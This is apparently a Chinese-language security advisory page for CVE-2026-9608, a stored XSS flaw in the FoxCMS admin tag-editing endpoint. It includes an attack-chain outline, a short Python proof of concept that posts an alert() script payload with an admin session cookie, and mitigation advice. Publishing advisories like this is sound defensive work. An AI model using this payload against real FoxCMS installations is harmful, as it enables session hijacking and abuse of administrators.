CVE-2026-9608 CVSS 2.4 低危

CVE-2026-9608: FoxCMS后台XSS漏洞

披露日期: 2026-05-27

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-9608

漏洞类型

跨站脚本 (XSS)

CVSS评分

2.4 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

需要交互 (UI:R)

影响产品

QianFox FoxCMS

漏洞概述

QianFox FoxCMS 1.2.6及以下版本存在跨站脚本漏洞（XSS）。漏洞位于管理员后台的 /Tag/edit 功能组件中。由于系统未对用户输入进行充分的过滤和转义，具备高权限的攻击者可以通过构造恶意代码进行远程攻击。虽然攻击需要高权限和用户交互，但一旦被利用，可能导致管理员会话劫持或执行恶意操作。目前该漏洞细节已公开，且厂商尚未做出响应。

技术细节

该漏洞影响QianFox FoxCMS管理员后台的标签编辑组件。漏洞根源在于 /Tag/edit 接口在处理数据时，对用户提供的数据缺乏严格的过滤机制，允许将未经过滤的HTML或JavaScript代码存储到数据库中。当管理员或其他拥有高权限的用户访问被篡改的标签页面时，恶意脚本将在客户端浏览器中执行。攻击者可利用此漏洞窃取Cookie、重定向用户或执行其他客户端攻击。根据CVSS向量分析，攻击需要高权限（PR:H）和用户交互（UI:R），表明这通常需要攻击者先获得后台访问权限进行Payload植入，然后诱导受害者触发。

攻击链分析

STEP 1

1. 侦察与访问

攻击者识别目标为QianFox FoxCMS系统，并获取管理员级别的账户凭证（高权限要求）。

STEP 2

2. 载荷注入

攻击者登录后台，访问 /Tag/edit 路径，在标签编辑字段中插入包含恶意JavaScript的Payload。

STEP 3

3. 存储与等待

恶意代码被保存到服务器数据库中，等待受害者访问受影响的页面。

STEP 4

4. 触发与利用

诱导管理员或用户访问包含恶意标签的页面，浏览器解析并执行脚本，完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# PoC for CVE-2026-9608: FoxCMS Stored XSS in /Tag/edit
# Target: QianFox FoxCMS <= 1.2.6

url = "http://target-ip/admin/Tag/edit"
# Attacker needs to be authenticated (Admin privileges required)
cookies = {
    "PHPSESSID": "valid_admin_session_id"
}

payload = {
    "tag_name": "TestTag",
    # Injecting malicious JavaScript script
    "tag_content": "<script>alert('CVE-2026-9608 XSS');</script>"
}

response = requests.post(url, data=payload, cookies=cookies)

if response.status_code == 200:
    print("[+] Payload sent successfully. Check the admin panel to trigger XSS.")
else:
    print("[-] Failed to send payload.")

影响范围

QianFox FoxCMS <= 1.2.6

防御指南

临时缓解措施

由于厂商尚未响应，建议暂时限制后台管理权限的分配，仅允许可信IP访问管理界面，并对管理员账户启用多因素认证（MFA）以防止凭证泄露导致的攻击。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-9608
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-9608
3 Details https://www.cvedetails.com/cve/CVE-2026-9608/
4 VulDB https://vuldb.com/cve/CVE-2026-9608
5 Link https://github.com/QianFox/FoxCMS/
6 Link https://github.com/QianFox/FoxCMS/issues/2
7 Link https://vuldb.com/submit/818342
8 Link https://vuldb.com/vuln/365681
9 Link https://vuldb.com/vuln/365681/cti

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表